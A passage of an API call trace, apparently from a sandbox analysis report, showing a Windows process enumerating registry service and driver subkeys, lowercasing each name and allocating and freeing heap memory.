CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0228.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.489] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0228.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0228.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.490] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0228.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0228.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.490] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0228.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0228.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.490] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0228.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0228.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.490] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0228.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0228.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.491] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0228.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0228.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.491] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0228.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0228.491] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0228.491] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0228.491] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0228.491] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0228.491] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0228.492] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0228.492] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0228.492] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0228.492] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0228.492] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0228.492] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0228.492] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0228.492] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0228.492] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0228.492] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0228.492] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0228.492] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0228.492] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0228.492] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0228.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0228.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0228.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0228.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0228.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0228.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0228.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0228.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0228.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0228.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0228.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0228.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0228.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0228.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0228.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0228.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0228.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0228.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0228.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0228.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0228.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0228.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0228.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0228.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0228.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0228.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0228.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0228.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0228.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0228.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0228.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0228.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0228.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0228.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0228.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0228.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0228.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0228.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0228.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0228.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0228.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0228.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0228.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0228.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0228.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0228.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0228.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0228.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0228.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0228.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0228.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0228.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0228.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0228.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0228.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0228.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0228.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0228.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0228.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0228.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0228.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0228.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0228.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0228.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0228.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0228.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0228.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0228.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0228.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0228.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0228.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0228.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0228.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0228.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0228.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0228.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0228.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0228.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0228.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0228.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0228.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0228.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0228.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0228.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0228.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0228.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0228.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0228.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0228.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0228.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0228.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0228.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0228.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0228.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0228.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0228.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0228.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0228.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0228.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0228.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0228.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0228.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0228.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0228.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0228.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0228.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0228.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | 